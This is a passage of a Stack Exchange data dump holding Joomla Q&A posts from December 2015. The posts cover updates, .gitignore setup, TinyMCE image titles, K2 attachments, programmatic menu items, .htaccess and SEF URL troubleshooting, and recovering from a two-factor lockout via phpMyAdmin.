  <row Id="14559" PostTypeId="2" ParentId="14173" CreationDate="2015-12-04T01:38:13.587" Score="0" Body="&lt;p&gt;If you have exhausted all avenues for installing via the Extension manager ( &lt;a href=&quot;https://docs.joomla.org/J3.x:Updating_from_an_existing_version&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Updating_from_an_existing_version&lt;/a&gt; ) then another way to install a via FTP ( &lt;a href=&quot;https://docs.joomla.org/Ftp-update-not-working&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Ftp-update-not-working&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from obviously making a site &amp;amp; database backup before attempting this, I would make a duplicate install of the current site and try it out first. This is NOT the recommended way to update Joomla 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, these guys might be able to help you further. &lt;a href=&quot;https://www.jgerman.de/downloads/joomla-34-auf-deutsch.html&quot; rel=&quot;nofollow&quot;&gt;https://www.jgerman.de/downloads/joomla-34-auf-deutsch.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-04T01:38:13.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14561" PostTypeId="2" ParentId="14556" CreationDate="2015-12-04T10:53:55.047" Score="0" Body="&lt;p&gt;&lt;strong&gt;Hello sifu&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pure .gitgnore file for Joomla!. It contains all files and folders that core Joomla! installation contains and will remove tracking of all joomla! files comes after installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/github/gitignore/blob/master/Joomla.gitignore&quot; rel=&quot;nofollow&quot;&gt;Joomla.gitignore&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if it solves your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7178" LastActivityDate="2015-12-04T10:53:55.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14562" PostTypeId="1" AcceptedAnswerId="18761" CreationDate="2015-12-04T14:49:04.363" Score="2" ViewCount="1499" Body="&lt;p&gt;When inserting an image in an article using TinyMCE editor's, the popup that appears only has options for Image Source and Alt text but no way to add a title for the image. It seems like there is a way to add this as it is disabled by default according to &lt;a href=&quot;https://www.tinymce.com/docs/plugins/image/#image_title&quot; rel=&quot;nofollow noreferrer&quot;&gt;TinyMCE documentation&lt;/a&gt;. I tried changing the /plugins/editors/tinymce/tinymce.php file just to try it out but it does not seem to do anything different in any 'modes'. Is there any way we could enable this or is this not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zV6Ip.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zV6Ip.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-01-03T23:22:43.407" Title="Enable 'Title' attribute for images with TinyMCE Editor" Tags="|editor|images|tinymce|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14563" PostTypeId="1" AcceptedAnswerId="14624" CreationDate="2015-12-04T15:00:25.670" Score="3" ViewCount="780" Body="&lt;p&gt;I'm using Joomla's K2 content component. There's a bunch of reasons we're using it, but one is to provide a nice way for the client to attach files to some of their articles. This works really well and the client is very happy with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, they have also now asked if they can have an &quot;attachment&quot; which is actually a link to a file on an external site. The external site is a partner organisation that provides some of their documents; they want to hot link directly to the partner's files because the files are updated fairly often, and they don't want the overhead of having to re-load them every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This request is, of course, quite easy to achieve if I just add a link directly in the article text, but the client would like it if the items were listed as K2 attachments in the same way as they currently do for their internal files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it possible to have external files as K2 attachments? Or will I just have to use plain old links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="126" LastEditDate="2015-12-10T12:09:02.827" LastActivityDate="2015-12-10T12:09:02.827" Title="Can a K2 attachment link to an external file?" Tags="|k2|attachments|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14564" PostTypeId="2" ParentId="9085" CreationDate="2015-12-04T19:56:38.900" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Most likely you will find the answer here:&#xA;  &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/8764/why-does-category-view-use-home-page-itemid-when-displaying-the-articles&quot;&gt;Why does Category View use Home Page Itemid when displaying the articles?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;A brief outline&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is caused, because Joomla will use the &quot;&lt;strong&gt;wrong*&lt;/strong&gt;&quot; menu item id and will show your articles at the home page. In cases like these, there seems to be a &quot;&lt;strong&gt;mechanism&lt;/strong&gt;&quot; that make the decision of what menu item id to use by certain precedence. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*wrong = not the one you wish it would use.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is always the option to use a &lt;strong&gt;SEF Component&lt;/strong&gt; to help you deal with this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can also do some tricks with Joomla core and achieve what you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this question here, the OP is encountering a similar if not the same issue. I have posted there an explanation and some tests you can do, to help you understand how things work. Make sure to read both the question and the answer:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/8764/why-does-category-view-use-home-page-itemid-when-displaying-the-articles&quot;&gt;Why does Category View use Home Page Itemid when displaying the articles?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-12-05T12:15:47.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14565" PostTypeId="2" ParentId="7370" CreationDate="2015-12-04T20:42:13.973" Score="1" Body="&lt;p&gt;You can do this by creating a hidden field in RS Form and in its default value field insert a code as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&amp;lt;code&amp;gt;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;return ($jinput-&amp;gt;get('id', 'No K2 Item', 'INT'));&#xA;//&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your hidden field will be sending the K2 Item's id, assuming you are only using it inside K2 items, with each submission. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-12-04T20:42:13.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14566" PostTypeId="2" ParentId="5104" CreationDate="2015-12-05T04:48:32.307" Score="6" Body="&lt;p&gt;firstly - menu items are not put into the assets table, so this question is about a non-existent problem.  The link provided in the question gives the correct answer for joom 2.5 and 3.x. but for reference here is an example in the prepareTable of a model.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuTable = JTableNested::getInstance('Menu');&#xA;&#xA;// which menu you want to add to - &#xA;$menutype = 'thisismymenusname';&#xA;&#xA;// this is heading menu item but what data you have and require will vary per case - just look at an appropriate row in yr menu table&#xA;$menuData = array(&#xA;  'menutype' =&amp;gt; $menutype,&#xA;  'title' =&amp;gt; $table-&amp;gt;alias,&#xA;  'alias' =&amp;gt; $table-&amp;gt;alias,&#xA;  'path' =&amp;gt; $table-&amp;gt;alias,&#xA;  'type' =&amp;gt; 'heading',&#xA;  'component_id' =&amp;gt; 0,                  &#xA;  'language' =&amp;gt; '*',&#xA;  'published' =&amp;gt; 1,&#xA;);&#xA;&#xA;// this item is at the root so the parent id needs to be 1&#xA;$parent_id = 1;&#xA;$menuTable-&amp;gt;setLocation($parent_id, 'last-child');&#xA;&#xA;// save is the shortcut method for bind, check and store&#xA;if (!$menuTable-&amp;gt;save($menuData))&#xA;{&#xA;  $this-&amp;gt;setError($menuTable-&amp;gt;getError());&#xA;  return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2015-12-05T04:48:32.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14567" PostTypeId="1" AcceptedAnswerId="14569" CreationDate="2015-12-05T09:26:23.910" Score="2" ViewCount="3358" Body="&lt;p&gt;I need to create a website which will basically feature a database with a lot of records. Each user can see a big list of every record and then a page dedicated with all the informations about it. I need something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://redump.org/discs/system/ps2/&quot; rel=&quot;nofollow&quot;&gt;http://redump.org/discs/system/ps2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With maybe some cool feature like instant search in the list and so on. I've tried to search on google but I really don't know which keyword to use, because if I use &quot;joomla database module&quot; of course I'll get a lot of false pages talking about the Joomla's database. Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="7377" LastEditorUserId="126" LastEditDate="2015-12-05T16:13:24.027" LastActivityDate="2015-12-07T14:45:48.117" Title="Joomla's extension for a custom database application" Tags="|joomla-3.x|extensions|extension-request|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14568" PostTypeId="2" ParentId="14554" CreationDate="2015-12-05T09:36:08.600" Score="1" Body="&lt;p&gt;Transferring sites between platforms can be tricky. As you discovered, Akeeba Backup (or similar &lt;a href=&quot;http://extensions.joomla.org/category/access-a-security/site-security&quot; rel=&quot;nofollow&quot;&gt;backup extensions&lt;/a&gt;) simplify this error-prone task.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-05T09:36:08.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14569" PostTypeId="2" ParentId="14567" CreationDate="2015-12-05T10:59:53.007" Score="3" Body="&lt;p&gt;I am not sure if you understand exactly what is a module, but definetelly that is not the type of extension you need, although, you haven't specified exactly what exactly you need, but looking at the site you linked, it seems you need a &lt;strong&gt;Custom Application&lt;/strong&gt;. That could be a &lt;strong&gt;custom &lt;a href=&quot;https://docs.joomla.org/Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;component&lt;/strong&gt;&lt;/a&gt;, or a &lt;strong&gt;database app&lt;/strong&gt; -built with special extensions called &lt;strong&gt;application builders&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Custom Component or Form/DB Application&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;1. Custom Component&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Develop a &lt;strong&gt;custom component&lt;/strong&gt; according to your requirements. Component is the type of extension you need, where you will have your datbase tables to store the data, forms to submit/edit information, and all the app logic and its presentation in front-end, back-end or both.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. Application Builder&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Build the application using an &lt;a href=&quot;https://www.google.gr/search?client=safari&amp;amp;rls=en&amp;amp;q=joomla%20application%20builder%20JED&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;gfe_rd=cr&amp;amp;ei=TrhiVre8BIuEUPyKgaAM&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Application/Form builder&lt;/strong&gt;&lt;/a&gt;, or &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=209&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;CCK (content construction) component&lt;/strong&gt;&lt;/a&gt;. A 3rd extensions type option is &lt;a href=&quot;http://extensions.joomla.org/tags/directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Directory Builders&lt;/strong&gt;&lt;/a&gt; depending on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I distinguish these categories extensions above, although they are very similar and many extensions that fall into any of these categories can be considered or used as CCK's, Application/Form or Directory Builders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in many cases CCKs and Directory Builders can provide a more established base and workflow, that you can use and extend with custom fields, while on Application Builders you will have to design everything from scratch. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Which way to go?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now regarding the 2 options above, &lt;strong&gt;developing a custom component&lt;/strong&gt; requires good development skills and experience. However there are some extension builder tools available that can help you develop your extension (see list below).&lt;br&gt;&#xA;Building the application with another &lt;strong&gt;CCK/App Builder application&lt;/strong&gt; can be easier - although there is still some learning curve and depending on your actual requirements, good skills might be required as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Both cases when we talk about a database app, you need to plan and design upfront - before the implementation. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Component Development Documentation&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing a MVC Component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/12143/what-tools-can-i-use-to-help-assist-me-with-joomla-development/12154#12154&quot;&gt;What tools can I use to help assist me with Joomla development?&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Component/Extension Creators:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.component-creator.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Component Creator&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/miscellaneous/development/jdeveloper&quot; rel=&quot;nofollow noreferrer&quot;&gt;jDeveloper&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mmleoni.net/joomla-component-builder&quot; rel=&quot;nofollow noreferrer&quot;&gt;Component Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.j-cook.pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;j-Cook&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Some popular Application/Form Builders &amp;amp; CCKs:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/fabrik&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fabrik&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/cobalt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cobalt&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/contentbuilder&quot; rel=&quot;nofollow noreferrer&quot;&gt;Content Builder&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/seblod&quot; rel=&quot;nofollow noreferrer&quot;&gt;Seblod&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/k2&quot; rel=&quot;nofollow noreferrer&quot;&gt;K2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/sobipro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sobi Pro&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-12-05T16:16:11.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14570" PostTypeId="2" ParentId="14563" CreationDate="2015-12-05T12:00:00.650" Score="2" Body="&lt;p&gt;It can be possible with a custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I did something kinda similar, for fetching Facebook Albums:&lt;br&gt;&#xA;I created a custom k2 field and an override for the default.php template file of the k2 item in backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the override I added my custom code to fetch the external data and then using AJAX I converted the custom field (selected by its unique id) to a dropdown list, that is loading the above data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case, if you follow the same approach as mine, you will need to be able to call and fetch remotely the external files from the other site. How to access them, is something you need to work it out, in accordance with the available options given by the resource site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing so, you can make them available to the backend via the custom field and present them the way you want (e.g as dropdown or checkboxes).&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-12-05T12:00:00.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14571" PostTypeId="2" ParentId="14534" CreationDate="2015-12-05T13:16:37.010" Score="3" Body="&lt;p&gt;You only need to disable the two factor authentication plugin from Plugin Manager &gt; (search for) Two Factor &gt; Disable the Two factor Authentication plugin which is enabled. That should be it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you DO NOT have access to the Administrator / Administration panel of the website because you have enabled 2FA and you know you can't login, you'll need to disable it via PHPMyAdmin &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log in to PHPmyadmin&lt;/li&gt;&#xA;&lt;li&gt;Find the table ending in  '_extensions' (the first few digits/letters are vary by installation)&lt;/li&gt;&#xA;&lt;li&gt;Find the plugin named plg_twofactorauth_totp&lt;/li&gt;&#xA;&lt;li&gt;change its 'enabled' status from '1'to '0' and save!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This disables the 2FA plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2FA plugin controls the 2FA fields, once it's disabled the fields will be gone. (note: if your using a 3rd party plugin for 2FA or for login that includes 2FA you will need to handle those on a case by case scenario)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to set your 2FA for just front end or just back end (or even both) then follow these steps &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step you need to do is enable two factor authentication by enabling the plugin from the Plugin Manager (Plugin Manager &gt; Two Factor Authentication - Yubikey or Google Authenticator (depends which key generator you plan to use)). You can select whether you want this to be enabled for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The back-end only (admistrator)&#xA;The front-end only (front-end)&#xA;Both&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution from &lt;a href=&quot;https://www.dart-creations.com/joomla/joomla-tutorials/enabling-and-using-joomla-two-factor-authentication.html&quot; rel=&quot;nofollow&quot;&gt;https://www.dart-creations.com/joomla/joomla-tutorials/enabling-and-using-joomla-two-factor-authentication.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastEditorUserId="7344" LastEditDate="2015-12-16T02:19:12.433" LastActivityDate="2015-12-16T02:19:12.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14572" PostTypeId="1" CreationDate="2015-12-05T16:46:06.553" Score="2" ViewCount="173" Body="&lt;p&gt;So, for example, I have 3 classes: Division, Employee, Task.&#xA;Every task has an employee assigned to it and every employee belongs to a division.&#xA;Currently I need 4 views: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a list of tasks assigned to a selected employee, &lt;/li&gt;&#xA;&lt;li&gt;a list of employees working on a selected task, &lt;/li&gt;&#xA;&lt;li&gt;a list of tasks an employee from a selected divison has worked on, &lt;/li&gt;&#xA;&lt;li&gt;a main list that will show a list of task with an amount of employees it was assigned to. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Outside of joomla if I need to get, for example, a list of tasks assigned to an employee, I just do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$employee = new employee($id_of_employee);&#xA;$tasks = $employee-&amp;gt;get_tasks();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what is the best way to integrate it with joomla? Can I include my classes in a component or I'll have to redevelop it?&lt;/p&gt;&#xA;" OwnerUserId="7314" LastEditorUserId="7314" LastEditDate="2015-12-05T16:58:26.667" LastActivityDate="2016-02-10T12:39:58.740" Title="MVC: Include classes in a component" Tags="|joomla-3.x|component|mvc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14573" PostTypeId="2" ParentId="14572" CreationDate="2015-12-05T17:18:16.873" Score="4" Body="&lt;p&gt;Yes, You can simply include and instantiate your classes and interact with them the standalone PHP way you are used to - yes that is not a problem and Joomla doesn't restrict your ability to that - this approach gives you less to rewrite of your original code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you were up for a challenge, you could refactor your code classes - which are actually models, and create a Model that extends JModelItem from them that Joomla could consume in its views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_a_model_to_the_site_part/en&quot; rel=&quot;nofollow&quot;&gt;Full Official Documentation&lt;/a&gt; on creating a Joomla 3.x Extension is available for this.&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-05T17:18:16.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14574" PostTypeId="2" ParentId="14255" CreationDate="2015-12-05T17:26:10.563" Score="2" Body="&lt;p&gt;There is no way to do this without first doing a look up to check if the value already exists in the db before inserting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;check&quot; that Joomla does is for the primary key only - so it cannot insert if the primary key is duplicated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way is to create a table class that extends JTable and then implement the bind/check/save methods of that with your additional data integrity logic, or one step up in the model apply your business logic there see &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JTable.html&quot; rel=&quot;nofollow&quot;&gt;The JTable Class&lt;/a&gt; - see also &lt;a href=&quot;https://docs.joomla.org/Using_the_JTable_class&quot; rel=&quot;nofollow&quot;&gt;How to use the JTable Class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-05T17:26:10.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14575" PostTypeId="2" ParentId="14555" CreationDate="2015-12-05T17:33:26.363" Score="1" Body="&lt;p&gt;The preceding period to the htaccess name is NOT a typo like you believe - that is how it should be - the complete file name SHOULD BE:     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have &quot;htaccess&quot; then that is the reason that internal links are not being rewritten back to being processed with index.php as the &quot;htaccess&quot; file is never used by apache - apache looks for and parses a &quot;.htaccess&quot;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-05T17:33:26.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14576" PostTypeId="2" ParentId="14555" CreationDate="2015-12-05T18:46:07.450" Score="1" Body="&lt;p&gt;A couple things to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Joomla Global Configuration disable SEF URLs and URL Rewrite - then see if you can access all of your site pages.  &lt;/li&gt;&#xA;&lt;li&gt;If they do work, then enable first the SEF URLs and see again if the pages still work.&lt;/li&gt;&#xA;&lt;li&gt;If they do, enable URL Rewrite and rename the htaccess.txt file that shipped with Joomla, to .htaccess and see again if they still work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If in the last step they don't, then it's likely that something is wrong in your .htaccess. &#xA;In this case, make sure that the htaccess file is indeed the one that came with Joomla and not a htaccess file that cPanel created to handle the document root for your addon domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ask your hosting provider for some help with these, or come back and give us more details about your configuration and the contents of the htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-12-07T14:17:31.323" LastActivityDate="2015-12-07T14:17:31.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14577" PostTypeId="2" ParentId="14556" CreationDate="2015-12-06T00:11:34.817" Score="1" Body="&lt;p&gt;The answer is based on the answer(s) in the link I had in the question and what fruppel suggested in the comment but since I couldn't mark that as answer; I am answering it myself. Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Exclude everything&#xA;/*&#xA;# Include components directory and everything underneath&#xA;!/components&#xA;# Exclude all components in component directory&#xA;/components/*&#xA;# Include custom component that needs to be added to git&#xA;!/components/com_mycomponent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this running &lt;em&gt;'git status'&lt;/em&gt; shows the components folder can be tracked which is not as helpful as it can be confusing since it sort of implies the whole thing is being added. That is why another command I ran gave &lt;em&gt;'git status --untracked=all'&lt;/em&gt; a better detail. Hope it helps someone.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-12-06T00:11:34.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14578" PostTypeId="2" ParentId="14531" CreationDate="2015-12-06T10:25:56.543" Score="2" Body="&lt;p&gt;Depends what are your needs, but language overrides can help with most of the problems. On this way you can add HTML code into the language override and that means you can include most of the things you want.&#xA;Changing CORE files sometimes could be difficult and on next Joomla update that will be overridden again (in most cases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try with language override. If you are using Joomla 3 you can go to Extensions &gt; Languages &gt; Overrides &gt; New.&#xA;Then on new window search for the &quot;Value&quot; - your existing text, and then just update that text to what you want. You can add more text than you have today.&lt;/p&gt;&#xA;" OwnerUserId="7380" LastActivityDate="2015-12-06T10:25:56.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14580" PostTypeId="2" ParentId="10751" CreationDate="2015-12-07T02:49:48.290" Score="1" Body="&lt;p&gt;My advice? Go back to the extension creator and ask them if they have a solution.If not, are they willing to do the mods for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then you have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find another extension that will provide you with the capability&#xA;to individually set the URL destination.&lt;/li&gt;&#xA;&lt;li&gt;Modify the code yourself, or pay someone to do it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Because the links are being dynamically generated, you will have to ascertain where it is going to get the new link information from, and set it accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will entail setting a meta item for these links and referencing that meta item, and also creating a way to update that information in the database. You are not going to be able to just add a link to the code - unless you want the same link for every image that is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you are looking for is related to &lt;code&gt;$zen-&amp;gt;loadElement($element-&amp;gt;type, $element, $item, $settings, $zen);&lt;/code&gt;&#xA;You are going to have to work backwards and find the code where the elements for &lt;code&gt;$item_class .= ' zt-featured';&lt;/code&gt; are determined. This will then have the format for how it is creating the links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, you may find that it will be easier for you to research another plugin for this job, one that already includes what you need.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-07T02:49:48.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14582" PostTypeId="2" ParentId="14555" CreationDate="2015-12-07T14:06:15.730" Score="0" Body="&lt;p&gt;There is no problem with changing the directory in Cpanel as long as the corresponding change is made in the configuration.php file and possibly in your root directory .htaccess file as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So check &lt;code&gt;public $live_site = '';&lt;/code&gt; in your configuration.php&#xA;since whatever is between the two single quotes &lt;code&gt;''&lt;/code&gt; determines your base hostname. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also depends on how Hostgator is handling the addon domain subdirectory, but it's likely that this is being handled by the hosts file at server level so probably shouldn't be the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test, you can disable SEF URLs and see if it works for all subpages. If so it very well be your .htaccess file setup. In which case try adding/removing the # in front of &lt;code&gt;Options +FollowSymlinks&lt;/code&gt; and &lt;code&gt;RewriteBase /&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't solve it from this, then post the contents of the &lt;code&gt;public $live_site = '';&lt;/code&gt; line and any related setup info in your .htaccess file, plus any settings related to the hostname and directory setup in your 